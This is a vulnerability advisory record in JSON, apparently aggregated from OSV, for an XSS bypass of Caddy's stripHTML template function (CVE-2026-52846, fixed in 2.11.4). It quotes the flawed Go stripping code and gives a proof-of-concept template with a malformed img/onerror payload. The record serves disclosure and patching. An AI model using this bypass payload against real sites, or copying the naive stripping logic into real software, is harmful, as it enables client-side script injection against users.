{"id":"CVE-2026-52846","aliases":["GHSA-vcc4-2c75-vc9v","GO-2026-5660"],"url":"https://o3.security/vulnerability/CVE-2026-52846","summary":"Caddy: stripHTML template function bypass","details":"### Summary\nCaddy’s `stripHTML` template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as `<<>img src=x onerror=alert()>`, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.\n\n---\n\n### Details\nThe vulnerability originates from `funcStripHTML` in:\n\n[caddy/caddy/caddyhttp/templates/tplcontext.go](https://github.com/caddyserver/caddy/blob/77e9ce7404c4a76853e101a9f5687a929ee56654/modules/caddyhttp/templates/tplcontext.go)\n\n```go\nfunc (TemplateContext) funcStripHTML(s string) string {\n    var buf bytes.Buffer\n    var inTag, inQuotes bool\n    var tagStart int\n    for i, ch := range s {\n        if inTag {\n            if ch == '>' && !inQuotes {\n                inTag = false\n            } else if ch == '<' && !inQuotes {\n                // false start\n                buf.WriteString(s[tagStart:i])\n                tagStart = i\n            } else if ch == '\"' {\n                inQuotes = !inQuotes\n            }\n            continue\n        }\n        if ch == '<' {\n            inTag = true\n            tagStart = i\n            continue\n        }\n        buf.WriteRune(ch)\n    }\n    if inTag {\n        // false start\n        buf.WriteString(s[tagStart:])\n    }\n    return buf.String()\n}\n```\n\n### POC\n\nCaddyfile setup\n\n```\n:8080 {\n    root * ./site\n    file_server\n    templates\n}\n```\n\nTemplate file (index.html)\n\n```html\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>StripHTML Bypass Test</title>\n</head>\n<body>\n    <p>{{ stripHTML \"<<>img src=x onerror=alert('XSS')>\" }}</p>\n</body>\n</html>\n```\n\nThe payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.\n\nTested in v2.11.3\n\n### Impact\n\nMalformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.\n\n### AI Disclosure\n\nAI assisted in writing the report description; however, the discovery of the issue has been done manually.","published":"2026-06-23T17:47:30.387Z","modified":"2026-10-28T02:30:57.475723057Z","cvss":{"score":4.2,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N"},"epss":{"score":0.00189,"percentile":0.08553,"asOf":"2026-09-01"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/caddyserver/caddy/v2","fixedVersion":"2.11.4"},{"ecosystem":"Go","name":"github.com/caddyserver/caddy","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/52xxx/CVE-2026-52846.json"},{"type":"ADVISORY","url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-vcc4-2c75-vc9v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52846"},{"type":"PACKAGE","url":"https://github.com/caddyserver/caddy"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:57.475723057Z"}}